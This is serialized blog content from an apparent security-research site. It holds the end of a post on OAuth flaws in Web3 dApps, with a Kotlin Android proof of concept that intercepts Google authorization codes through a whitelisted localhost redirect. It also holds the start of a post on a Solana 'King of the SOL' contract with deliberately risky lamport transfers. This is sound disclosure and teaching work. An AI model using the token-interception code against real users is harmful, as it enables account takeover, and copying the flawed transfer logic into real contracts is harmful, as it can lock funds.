",{"type":24,"tag":90,"props":72250,"children":72251},{"style":146},[72252],{"type":29,"value":72253},"AppCompatActivity",{"type":24,"tag":90,"props":72255,"children":72256},{"style":114},[72257],{"type":29,"value":2245},{"type":24,"tag":90,"props":72259,"children":72260},{"class":92,"line":200},[72261],{"type":24,"tag":90,"props":72262,"children":72263},{"emptyLinePlaceholder":16},[72264],{"type":29,"value":245},{"type":24,"tag":90,"props":72266,"children":72267},{"class":92,"line":239},[72268,72273,72277,72282,72287,72292],{"type":24,"tag":90,"props":72269,"children":72270},{"style":97},[72271],{"type":29,"value":72272}," override",{"type":24,"tag":90,"props":72274,"children":72275},{"style":97},[72276],{"type":29,"value":8592},{"type":24,"tag":90,"props":72278,"children":72279},{"style":108},[72280],{"type":29,"value":72281}," onCreate",{"type":24,"tag":90,"props":72283,"children":72284},{"style":114},[72285],{"type":29,"value":72286},"(savedInstanceState: ",{"type":24,"tag":90,"props":72288,"children":72289},{"style":146},[72290],{"type":29,"value":72291},"Bundle",{"type":24,"tag":90,"props":72293,"children":72294},{"style":114},[72295],{"type":29,"value":72296},"?) {\n",{"type":24,"tag":90,"props":72298,"children":72299},{"class":92,"line":248},[72300,72305,72309,72314],{"type":24,"tag":90,"props":72301,"children":72302},{"style":97},[72303],{"type":29,"value":72304}," super",{"type":24,"tag":90,"props":72306,"children":72307},{"style":114},[72308],{"type":29,"value":226},{"type":24,"tag":90,"props":72310,"children":72311},{"style":108},[72312],{"type":29,"value":72313},"onCreate",{"type":24,"tag":90,"props":72315,"children":72316},{"style":114},[72317],{"type":29,"value":72318},"(savedInstanceState)\n",{"type":24,"tag":90,"props":72320,"children":72321},{"class":92,"line":258},[72322],{"type":24,"tag":90,"props":72323,"children":72324},{"emptyLinePlaceholder":16},[72325],{"type":29,"value":245},{"type":24,"tag":90,"props":72327,"children":72328},{"class":92,"line":272},[72329],{"type":24,"tag":90,"props":72330,"children":72331},{"style":252},[72332],{"type":29,"value":72333}," // Start the Ktor web server\n",{"type":24,"tag":90,"props":72335,"children":72336},{"class":92,"line":281},[72337,72342,72347,72352],{"type":24,"tag":90,"props":72338,"children":72339},{"style":108},[72340],{"type":29,"value":72341}," CoroutineScope",{"type":24,"tag":90,"props":72343,"children":72344},{"style":114},[72345],{"type":29,"value":72346},"(Dispatchers.IO).",{"type":24,"tag":90,"props":72348,"children":72349},{"style":108},[72350],{"type":29,"value":72351},"launch",{"type":24,"tag":90,"props":72353,"children":72354},{"style":114},[72355],{"type":29,"value":269},{"type":24,"tag":90,"props":72357,"children":72358},{"class":92,"line":384},[72359,72364],{"type":24,"tag":90,"props":72360,"children":72361},{"style":636},[72362],{"type":29,"value":72363}," try",{"type":24,"tag":90,"props":72365,"children":72366},{"style":114},[72367],{"type":29,"value":269},{"type":24,"tag":90,"props":72369,"children":72370},{"class":92,"line":420},[72371,72376],{"type":24,"tag":90,"props":72372,"children":72373},{"style":108},[72374],{"type":29,"value":72375}," startWebServer",{"type":24,"tag":90,"props":72377,"children":72378},{"style":114},[72379],{"type":29,"value":2121},{"type":24,"tag":90,"props":72381,"children":72382},{"class":92,"line":428},[72383,72388,72393,72397,72402,72406,72411],{"type":24,"tag":90,"props":72384,"children":72385},{"style":114},[72386],{"type":29,"value":72387}," Log.",{"type":24,"tag":90,"props":72389,"children":72390},{"style":108},[72391],{"type":29,"value":72392},"d",{"type":24,"tag":90,"props":72394,"children":72395},{"style":114},[72396],{"type":29,"value":117},{"type":24,"tag":90,"props":72398,"children":72399},{"style":1085},[72400],{"type":29,"value":72401},"\"WebServer\"",{"type":24,"tag":90,"props":72403,"children":72404},{"style":114},[72405],{"type":29,"value":133},{"type":24,"tag":90,"props":72407,"children":72408},{"style":1085},[72409],{"type":29,"value":72410},"\"Server started on http://localhost:3000\"",{"type":24,"tag":90,"props":72412,"children":72413},{"style":114},[72414],{"type":29,"value":1686},{"type":24,"tag":90,"props":72416,"children":72417},{"class":92,"line":437},[72418,72423,72427,72432,72437],{"type":24,"tag":90,"props":72419,"children":72420},{"style":114},[72421],{"type":29,"value":72422}," } ",{"type":24,"tag":90,"props":72424,"children":72425},{"style":97},[72426],{"type":29,"value":50234},{"type":24,"tag":90,"props":72428,"children":72429},{"style":114},[72430],{"type":29,"value":72431}," (e: ",{"type":24,"tag":90,"props":72433,"children":72434},{"style":146},[72435],{"type":29,"value":72436},"Exception",{"type":24,"tag":90,"props":72438,"children":72439},{"style":114},[72440],{"type":29,"value":1297},{"type":24,"tag":90,"props":72442,"children":72443},{"class":92,"line":574},[72444,72448,72452,72456,72460,72464,72469,72473,72478,72482,72486],{"type":24,"tag":90,"props":72445,"children":72446},{"style":114},[72447],{"type":29,"value":72387},{"type":24,"tag":90,"props":72449,"children":72450},{"style":108},[72451],{"type":29,"value":53278},{"type":24,"tag":90,"props":72453,"children":72454},{"style":114},[72455],{"type":29,"value":117},{"type":24,"tag":90,"props":72457,"children":72458},{"style":1085},[72459],{"type":29,"value":72401},{"type":24,"tag":90,"props":72461,"children":72462},{"style":114},[72463],{"type":29,"value":133},{"type":24,"tag":90,"props":72465,"children":72466},{"style":1085},[72467],{"type":29,"value":72468},"\"Error starting server: ",{"type":24,"tag":90,"props":72470,"children":72471},{"style":97},[72472],{"type":29,"value":35923},{"type":24,"tag":90,"props":72474,"children":72475},{"style":120},[72476],{"type":29,"value":72477},"e.message",{"type":24,"tag":90,"props":72479,"children":72480},{"style":97},[72481],{"type":29,"value":35955},{"type":24,"tag":90,"props":72483,"children":72484},{"style":1085},[72485],{"type":29,"value":21855},{"type":24,"tag":90,"props":72487,"children":72488},{"style":114},[72489],{"type":29,"value":72490},", e)\n",{"type":24,"tag":90,"props":72492,"children":72493},{"class":92,"line":606},[72494],{"type":24,"tag":90,"props":72495,"children":72496},{"style":114},[72497],{"type":29,"value":60710},{"type":24,"tag":90,"props":72499,"children":72500},{"class":92,"line":615},[72501],{"type":24,"tag":90,"props":72502,"children":72503},{"style":114},[72504],{"type":29,"value":5740},{"type":24,"tag":90,"props":72506,"children":72507},{"class":92,"line":623},[72508],{"type":24,"tag":90,"props":72509,"children":72510},{"emptyLinePlaceholder":16},[72511],{"type":29,"value":245},{"type":24,"tag":90,"props":72513,"children":72514},{"class":92,"line":632},[72515],{"type":24,"tag":90,"props":72516,"children":72517},{"style":252},[72518],{"type":29,"value":72519}," // Open the Google OAuth page\n",{"type":24,"tag":90,"props":72521,"children":72522},{"class":92,"line":669},[72523,72528,72533,72537],{"type":24,"tag":90,"props":72524,"children":72525},{"style":97},[72526],{"type":29,"value":72527}," val",{"type":24,"tag":90,"props":72529,"children":72530},{"style":114},[72531],{"type":29,"value":72532}," googleOAuthUrl ",{"type":24,"tag":90,"props":72534,"children":72535},{"style":120},[72536],{"type":29,"value":5491},{"type":24,"tag":90,"props":72538,"children":72539},{"style":1085},[72540],{"type":29,"value":72541}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":90,"props":72543,"children":72544},{"class":92,"line":683},[72545,72549,72554,72558,72563,72568,72572],{"type":24,"tag":90,"props":72546,"children":72547},{"style":97},[72548],{"type":29,"value":72527},{"type":24,"tag":90,"props":72550,"children":72551},{"style":114},[72552],{"type":29,"value":72553}," browserIntent ",{"type":24,"tag":90,"props":72555,"children":72556},{"style":120},[72557],{"type":29,"value":5491},{"type":24,"tag":90,"props":72559,"children":72560},{"style":108},[72561],{"type":29,"value":72562}," Intent",{"type":24,"tag":90,"props":72564,"children":72565},{"style":114},[72566],{"type":29,"value":72567},"(Intent.ACTION_VIEW, Uri.",{"type":24,"tag":90,"props":72569,"children":72570},{"style":108},[72571],{"type":29,"value":41028},{"type":24,"tag":90,"props":72573,"children":72574},{"style":114},[72575],{"type":29,"value":72576},"(googleOAuthUrl))\n",{"type":24,"tag":90,"props":72578,"children":72579},{"class":92,"line":737},[72580,72585],{"type":24,"tag":90,"props":72581,"children":72582},{"style":108},[72583],{"type":29,"value":72584}," startActivity",{"type":24,"tag":90,"props":72586,"children":72587},{"style":114},[72588],{"type":29,"value":72589},"(browserIntent)\n",{"type":24,"tag":90,"props":72591,"children":72592},{"class":92,"line":751},[72593],{"type":24,"tag":90,"props":72594,"children":72595},{"style":114},[72596],{"type":29,"value":612},{"type":24,"tag":90,"props":72598,"children":72599},{"class":92,"line":782},[72600],{"type":24,"tag":90,"props":72601,"children":72602},{"emptyLinePlaceholder":16},[72603],{"type":29,"value":245},{"type":24,"tag":90,"props":72605,"children":72606},{"class":92,"line":791},[72607,72612,72616,72621],{"type":24,"tag":90,"props":72608,"children":72609},{"style":97},[72610],{"type":29,"value":72611}," private",{"type":24,"tag":90,"props":72613,"children":72614},{"style":97},[72615],{"type":29,"value":8592},{"type":24,"tag":90,"props":72617,"children":72618},{"style":108},[72619],{"type":29,"value":72620}," startWebServer",{"type":24,"tag":90,"props":72622,"children":72623},{"style":114},[72624],{"type":29,"value":2245},{"type":24,"tag":90,"props":72626,"children":72627},{"class":92,"line":799},[72628,72633,72638,72642,72647],{"type":24,"tag":90,"props":72629,"children":72630},{"style":108},[72631],{"type":29,"value":72632}," embeddedServer",{"type":24,"tag":90,"props":72634,"children":72635},{"style":114},[72636],{"type":29,"value":72637},"(CIO, port ",{"type":24,"tag":90,"props":72639,"children":72640},{"style":120},[72641],{"type":29,"value":5491},{"type":24,"tag":90,"props":72643,"children":72644},{"style":349},[72645],{"type":29,"value":72646}," 3000",{"type":24,"tag":90,"props":72648,"children":72649},{"style":114},[72650],{"type":29,"value":1297},{"type":24,"tag":90,"props":72652,"children":72653},{"class":92,"line":807},[72654,72659],{"type":24,"tag":90,"props":72655,"children":72656},{"style":108},[72657],{"type":29,"value":72658}," routing",{"type":24,"tag":90,"props":72660,"children":72661},{"style":114},[72662],{"type":29,"value":269},{"type":24,"tag":90,"props":72664,"children":72665},{"class":92,"line":821},[72666,72671,72675,72680],{"type":24,"tag":90,"props":72667,"children":72668},{"style":97},[72669],{"type":29,"value":72670}," get",{"type":24,"tag":90,"props":72672,"children":72673},{"style":114},[72674],{"type":29,"value":117},{"type":24,"tag":90,"props":72676,"children":72677},{"style":1085},[72678],{"type":29,"value":72679},"\"{...}\"",{"type":24,"tag":90,"props":72681,"children":72682},{"style":114},[72683],{"type":29,"value":1297},{"type":24,"tag":90,"props":72685,"children":72686},{"class":92,"line":6278},[72687,72692,72697],{"type":24,"tag":90,"props":72688,"children":72689},{"style":114},[72690],{"type":29,"value":72691}," call.",{"type":24,"tag":90,"props":72693,"children":72694},{"style":108},[72695],{"type":29,"value":72696},"respondHtml",{"type":24,"tag":90,"props":72698,"children":72699},{"style":114},[72700],{"type":29,"value":269},{"type":24,"tag":90,"props":72702,"children":72703},{"class":92,"line":11420},[72704,72709],{"type":24,"tag":90,"props":72705,"children":72706},{"style":108},[72707],{"type":29,"value":72708}," head",{"type":24,"tag":90,"props":72710,"children":72711},{"style":114},[72712],{"type":29,"value":269},{"type":24,"tag":90,"props":72714,"children":72715},{"class":92,"line":11438},[72716,72721,72726,72730,72735],{"type":24,"tag":90,"props":72717,"children":72718},{"style":108},[72719],{"type":29,"value":72720}," meta",{"type":24,"tag":90,"props":72722,"children":72723},{"style":114},[72724],{"type":29,"value":72725},"(charset ",{"type":24,"tag":90,"props":72727,"children":72728},{"style":120},[72729],{"type":29,"value":5491},{"type":24,"tag":90,"props":72731,"children":72732},{"style":1085},[72733],{"type":29,"value":72734}," \"UTF-8\"",{"type":24,"tag":90,"props":72736,"children":72737},{"style":114},[72738],{"type":29,"value":1686},{"type":24,"tag":90,"props":72740,"children":72741},{"class":92,"line":11483},[72742,72746,72751,72755,72760,72765,72769,72774],{"type":24,"tag":90,"props":72743,"children":72744},{"style":108},[72745],{"type":29,"value":72720},{"type":24,"tag":90,"props":72747,"children":72748},{"style":114},[72749],{"type":29,"value":72750},"(name ",{"type":24,"tag":90,"props":72752,"children":72753},{"style":120},[72754],{"type":29,"value":5491},{"type":24,"tag":90,"props":72756,"children":72757},{"style":1085},[72758],{"type":29,"value":72759}," \"viewport\"",{"type":24,"tag":90,"props":72761,"children":72762},{"style":114},[72763],{"type":29,"value":72764},", content ",{"type":24,"tag":90,"props":72766,"children":72767},{"style":120},[72768],{"type":29,"value":5491},{"type":24,"tag":90,"props":72770,"children":72771},{"style":1085},[72772],{"type":29,"value":72773}," \"width=device-width, initial-scale=1.0\"",{"type":24,"tag":90,"props":72775,"children":72776},{"style":114},[72777],{"type":29,"value":1686},{"type":24,"tag":90,"props":72779,"children":72780},{"class":92,"line":11589},[72781,72786,72790,72795],{"type":24,"tag":90,"props":72782,"children":72783},{"style":108},[72784],{"type":29,"value":72785}," title",{"type":24,"tag":90,"props":72787,"children":72788},{"style":114},[72789],{"type":29,"value":117},{"type":24,"tag":90,"props":72791,"children":72792},{"style":1085},[72793],{"type":29,"value":72794},"\"OAuth Redirect\"",{"type":24,"tag":90,"props":72796,"children":72797},{"style":114},[72798],{"type":29,"value":1686},{"type":24,"tag":90,"props":72800,"children":72801},{"class":92,"line":25306},[72802],{"type":24,"tag":90,"props":72803,"children":72804},{"style":114},[72805],{"type":29,"value":72806}," }\n",{"type":24,"tag":90,"props":72808,"children":72809},{"class":92,"line":25341},[72810,72815],{"type":24,"tag":90,"props":72811,"children":72812},{"style":108},[72813],{"type":29,"value":72814}," body",{"type":24,"tag":90,"props":72816,"children":72817},{"style":114},[72818],{"type":29,"value":269},{"type":24,"tag":90,"props":72820,"children":72821},{"class":92,"line":25349},[72822,72827,72831,72835,72840],{"type":24,"tag":90,"props":72823,"children":72824},{"style":108},[72825],{"type":29,"value":72826}," h1",{"type":24,"tag":90,"props":72828,"children":72829},{"style":114},[72830],{"type":29,"value":1196},{"type":24,"tag":90,"props":72832,"children":72833},{"style":120},[72834],{"type":29,"value":6767},{"type":24,"tag":90,"props":72836,"children":72837},{"style":1085},[72838],{"type":29,"value":72839},"\"Google OAuth Redirect\"",{"type":24,"tag":90,"props":72841,"children":72842},{"style":114},[72843],{"type":29,"value":11967},{"type":24,"tag":90,"props":72845,"children":72846},{"class":92,"line":25357},[72847,72852],{"type":24,"tag":90,"props":72848,"children":72849},{"style":108},[72850],{"type":29,"value":72851}," script",{"type":24,"tag":90,"props":72853,"children":72854},{"style":114},[72855],{"type":29,"value":269},{"type":24,"tag":90,"props":72857,"children":72858},{"class":92,"line":25366},[72859,72864],{"type":24,"tag":90,"props":72860,"children":72861},{"style":120},[72862],{"type":29,"value":72863}," +",{"type":24,"tag":90,"props":72865,"children":72866},{"style":1085},[72867],{"type":29,"value":72868},"\"document.body.innerText = location.search;\"\n",{"type":24,"tag":90,"props":72870,"children":72871},{"class":92,"line":25408},[72872],{"type":24,"tag":90,"props":72873,"children":72874},{"style":114},[72875],{"type":29,"value":72876}," }\n",{"type":24,"tag":90,"props":72878,"children":72879},{"class":92,"line":25441},[72880],{"type":24,"tag":90,"props":72881,"children":72882},{"style":114},[72883],{"type":29,"value":72806},{"type":24,"tag":90,"props":72885,"children":72886},{"class":92,"line":25449},[72887],{"type":24,"tag":90,"props":72888,"children":72889},{"style":114},[72890],{"type":29,"value":72891}," }\n",{"type":24,"tag":90,"props":72893,"children":72894},{"class":92,"line":25457},[72895],{"type":24,"tag":90,"props":72896,"children":72897},{"style":114},[72898],{"type":29,"value":72899}," }\n",{"type":24,"tag":90,"props":72901,"children":72902},{"class":92,"line":25466},[72903],{"type":24,"tag":90,"props":72904,"children":72905},{"style":114},[72906],{"type":29,"value":60710},{"type":24,"tag":90,"props":72908,"children":72909},{"class":92,"line":25542},[72910,72915,72920,72925,72929,72933],{"type":24,"tag":90,"props":72911,"children":72912},{"style":114},[72913],{"type":29,"value":72914}," }.",{"type":24,"tag":90,"props":72916,"children":72917},{"style":108},[72918],{"type":29,"value":72919},"start",{"type":24,"tag":90,"props":72921,"children":72922},{"style":114},[72923],{"type":29,"value":72924},"(wait ",{"type":24,"tag":90,"props":72926,"children":72927},{"style":120},[72928],{"type":29,"value":5491},{"type":24,"tag":90,"props":72930,"children":72931},{"style":97},[72932],{"type":29,"value":14835},{"type":24,"tag":90,"props":72934,"children":72935},{"style":114},[72936],{"type":29,"value":1686},{"type":24,"tag":90,"props":72938,"children":72939},{"class":92,"line":25575},[72940],{"type":24,"tag":90,"props":72941,"children":72942},{"style":114},[72943],{"type":29,"value":612},{"type":24,"tag":90,"props":72945,"children":72946},{"class":92,"line":25583},[72947],{"type":24,"tag":90,"props":72948,"children":72949},{"style":114},[72950],{"type":29,"value":827},{"type":24,"tag":25,"props":72952,"children":72953},{},[72954],{"type":29,"value":72955},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":24,"tag":25,"props":72957,"children":72958},{},[72959],{"type":29,"value":72960},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":24,"tag":1019,"props":72962,"children":72964},{"id":72963},"mitigation-1",[72965],{"type":29,"value":42153},{"type":24,"tag":25,"props":72967,"children":72968},{},[72969,72971,72976],{"type":29,"value":72970},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":24,"tag":32,"props":72972,"children":72974},{"className":72973},[],[72975],{"type":29,"value":71593},{"type":29,"value":72977}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":24,"tag":850,"props":72979,"children":72980},{"id":30743},[72981],{"type":29,"value":20741},{"type":24,"tag":25,"props":72983,"children":72984},{},[72985],{"type":29,"value":72986},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":24,"tag":25,"props":72988,"children":72989},{},[72990],{"type":29,"value":72991},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":24,"tag":5249,"props":72993,"children":72994},{},[72995],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":72997},[72998,73005,73010,73013],{"id":71361,"depth":200,"text":71364,"children":72999},[73000,73001,73002,73003,73004],{"id":71372,"depth":239,"text":71375},{"id":71399,"depth":239,"text":71402},{"id":71460,"depth":239,"text":71463},{"id":71517,"depth":239,"text":71520},{"id":71616,"depth":239,"text":71619},{"id":71662,"depth":200,"text":71665,"children":73006},[73007,73008,73009],{"id":71668,"depth":239,"text":71671},{"id":71695,"depth":239,"text":71698},{"id":42150,"depth":239,"text":42153},{"id":72144,"depth":200,"text":72147,"children":73011},[73012],{"id":72963,"depth":239,"text":42153},{"id":30743,"depth":200,"text":20741},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":73018,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73019,"description":73020,"author":42269,"image":73021,"date":73023,"isFeatured":16,"tags":73024,"onBlogPage":16,"body":73025,"_type":5270,"_id":77679,"_source":5272,"_file":77680,"_stem":77681,"_extension":5275},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":73022,"height":14,"width":14},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[5287],{"type":21,"children":73026,"toc":77668},[73027,73031,73036,73050,73056,73061,73091,73096,73101,74139,74144,74152,74157,74163,74169,74181,74214,74226,74239,74251,74696,74701,74747,74753,74758,74845,74850,74864,74877,75540,75545,75557,75563,75574,75586,75740,75754,75773,75794,75800,75805,76150,76155,76161,76180,76194,76816,76821,76841,76846,76851,76857,76869,76890,77065,77071,77076,77377,77398,77410,77422,77506,77526,77538,77544,77556,77562,77567,77590,77602,77608,77620,77625,77631,77636,77641,77659,77664],{"type":24,"tag":850,"props":73028,"children":73029},{"id":30826},[73030],{"type":29,"value":30829},{"type":24,"tag":25,"props":73032,"children":73033},{},[73034],{"type":29,"value":73035},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":24,"tag":25,"props":73037,"children":73038},{},[73039,73041,73048],{"type":29,"value":73040},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":24,"tag":69,"props":73042,"children":73045},{"href":73043,"rel":73044},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[73],[73046],{"type":29,"value":73047},"King of the Ether",{"type":29,"value":73049},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":24,"tag":850,"props":73051,"children":73053},{"id":73052},"the-game-king-of-the-sol",[73054],{"type":29,"value":73055},"The Game: King of the SOL",{"type":24,"tag":25,"props":73057,"children":73058},{},[73059],{"type":29,"value":73060},"The game works like this:",{"type":24,"tag":3207,"props":73062,"children":73063},{},[73064,73076,73081,73086],{"type":24,"tag":3104,"props":73065,"children":73066},{},[73067,73069,73074],{"type":29,"value":73068},"Anyone can become the ",{"type":24,"tag":7711,"props":73070,"children":73071},{},[73072],{"type":29,"value":73073},"king",{"type":29,"value":73075}," by bidding at least 2× the previous bid.",{"type":24,"tag":3104,"props":73077,"children":73078},{},[73079],{"type":29,"value":73080},"The old king is reimbursed 95% of their bid.",{"type":24,"tag":3104,"props":73082,"children":73083},{},[73084],{"type":29,"value":73085},"The remaining 5% goes into a prize pot.",{"type":24,"tag":3104,"props":73087,"children":73088},{},[73089],{"type":29,"value":73090},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":24,"tag":25,"props":73092,"children":73093},{},[73094],{"type":29,"value":73095},"Simple, right?",{"type":24,"tag":25,"props":73097,"children":73098},{},[73099],{"type":29,"value":73100},"This is the core logic:",{"type":24,"tag":80,"props":73102,"children":73104},{"className":82,"code":73103,"language":84,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[73105],{"type":24,"tag":32,"props":73106,"children":73107},{"__ignoreMap":7},[73108,73123,73151,73166,73207,73214,73222,73273,73304,73311,73319,73334,73366,73373,73388,73419,73426,73433,73441,73458,73532,73540,73601,73613,73641,73681,73693,73709,73716,73724,73798,73810,73849,73877,73889,73904,73911,73919,73989,74033,74107,74114,74125,74132],{"type":24,"tag":90,"props":73109,"children":73110},{"class":92,"line":93},[73111,73115,73119],{"type":24,"tag":90,"props":73112,"children":73113},{"style":114},[73114],{"type":29,"value":24634},{"type":24,"tag":90,"props":73116,"children":73117},{"style":146},[73118],{"type":29,"value":24639},{"type":24,"tag":90,"props":73120,"children":73121},{"style":114},[73122],{"type":29,"value":22054},{"type":24,"tag":90,"props":73124,"children":73125},{"class":92,"line":200},[73126,73130,73134,73139,73143,73147],{"type":24,"tag":90,"props":73127,"children":73128},{"style":97},[73129],{"type":29,"value":100},{"type":24,"tag":90,"props":73131,"children":73132},{"style":97},[73133],{"type":29,"value":22947},{"type":24,"tag":90,"props":73135,"children":73136},{"style":146},[73137],{"type":29,"value":73138}," ChangeKing",{"type":24,"tag":90,"props":73140,"children":73141},{"style":114},[73142],{"type":29,"value":24719},{"type":24,"tag":90,"props":73144,"children":73145},{"style":146},[73146],{"type":29,"value":24724},{"type":24,"tag":90,"props":73148,"children":73149},{"style":114},[73150],{"type":29,"value":197},{"type":24,"tag":90,"props":73152,"children":73153},{"class":92,"line":239},[73154,73158,73162],{"type":24,"tag":90,"props":73155,"children":73156},{"style":114},[73157],{"type":29,"value":24926},{"type":24,"tag":90,"props":73159,"children":73160},{"style":97},[73161],{"type":29,"value":371},{"type":24,"tag":90,"props":73163,"children":73164},{"style":114},[73165],{"type":29,"value":22054},{"type":24,"tag":90,"props":73167,"children":73168},{"class":92,"line":248},[73169,73173,73178,73182,73186,73190,73194,73198,73203],{"type":24,"tag":90,"props":73170,"children":73171},{"style":97},[73172],{"type":29,"value":22639},{"type":24,"tag":90,"props":73174,"children":73175},{"style":136},[73176],{"type":29,"value":73177}," throne",{"type":24,"tag":90,"props":73179,"children":73180},{"style":120},[73181],{"type":29,"value":78},{"type":24,"tag":90,"props":73183,"children":73184},{"style":146},[73185],{"type":29,"value":24891},{"type":24,"tag":90,"props":73187,"children":73188},{"style":114},[73189],{"type":29,"value":24719},{"type":24,"tag":90,"props":73191,"children":73192},{"style":146},[73193],{"type":29,"value":24724},{"type":24,"tag":90,"props":73195,"children":73196},{"style":114},[73197],{"type":29,"value":133},{"type":24,"tag":90,"props":73199,"children":73200},{"style":146},[73201],{"type":29,"value":73202},"Throne",{"type":24,"tag":90,"props":73204,"children":73205},{"style":114},[73206],{"type":29,"value":8523},{"type":24,"tag":90,"props":73208,"children":73209},{"class":92,"line":258},[73210],{"type":24,"tag":90,"props":73211,"children":73212},{"emptyLinePlaceholder":16},[73213],{"type":29,"value":245},{"type":24,"tag":90,"props":73215,"children":73216},{"class":92,"line":272},[73217],{"type":24,"tag":90,"props":73218,"children":73219},{"style":252},[73220],{"type":29,"value":73221}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":24,"tag":90,"props":73223,"children":73224},{"class":92,"line":281},[73225,73229,73233,73238,73242,73247,73251,73256,73260,73264,73268],{"type":24,"tag":90,"props":73226,"children":73227},{"style":114},[73228],{"type":29,"value":24926},{"type":24,"tag":90,"props":73230,"children":73231},{"style":97},[73232],{"type":29,"value":371},{"type":24,"tag":90,"props":73234,"children":73235},{"style":114},[73236],{"type":29,"value":73237},", constraint ",{"type":24,"tag":90,"props":73239,"children":73240},{"style":120},[73241],{"type":29,"value":5491},{"type":24,"tag":90,"props":73243,"children":73244},{"style":114},[73245],{"type":29,"value":73246}," old_king",{"type":24,"tag":90,"props":73248,"children":73249},{"style":120},[73250],{"type":29,"value":226},{"type":24,"tag":90,"props":73252,"children":73253},{"style":114},[73254],{"type":29,"value":73255},"key() ",{"type":24,"tag":90,"props":73257,"children":73258},{"style":120},[73259],{"type":29,"value":10951},{"type":24,"tag":90,"props":73261,"children":73262},{"style":114},[73263],{"type":29,"value":73177},{"type":24,"tag":90,"props":73265,"children":73266},{"style":120},[73267],{"type":29,"value":226},{"type":24,"tag":90,"props":73269,"children":73270},{"style":114},[73271],{"type":29,"value":73272},"king)]\n",{"type":24,"tag":90,"props":73274,"children":73275},{"class":92,"line":384},[73276,73280,73284,73288,73292,73296,73300],{"type":24,"tag":90,"props":73277,"children":73278},{"style":97},[73279],{"type":29,"value":22639},{"type":24,"tag":90,"props":73281,"children":73282},{"style":136},[73283],{"type":29,"value":73246},{"type":24,"tag":90,"props":73285,"children":73286},{"style":120},[73287],{"type":29,"value":78},{"type":24,"tag":90,"props":73289,"children":73290},{"style":146},[73291],{"type":29,"value":27207},{"type":24,"tag":90,"props":73293,"children":73294},{"style":114},[73295],{"type":29,"value":24719},{"type":24,"tag":90,"props":73297,"children":73298},{"style":146},[73299],{"type":29,"value":24724},{"type":24,"tag":90,"props":73301,"children":73302},{"style":114},[73303],{"type":29,"value":8523},{"type":24,"tag":90,"props":73305,"children":73306},{"class":92,"line":420},[73307],{"type":24,"tag":90,"props":73308,"children":73309},{"emptyLinePlaceholder":16},[73310],{"type":29,"value":245},{"type":24,"tag":90,"props":73312,"children":73313},{"class":92,"line":428},[73314],{"type":24,"tag":90,"props":73315,"children":73316},{"style":252},[73317],{"type":29,"value":73318}," /// CHECK: any writable account is allowed as a new 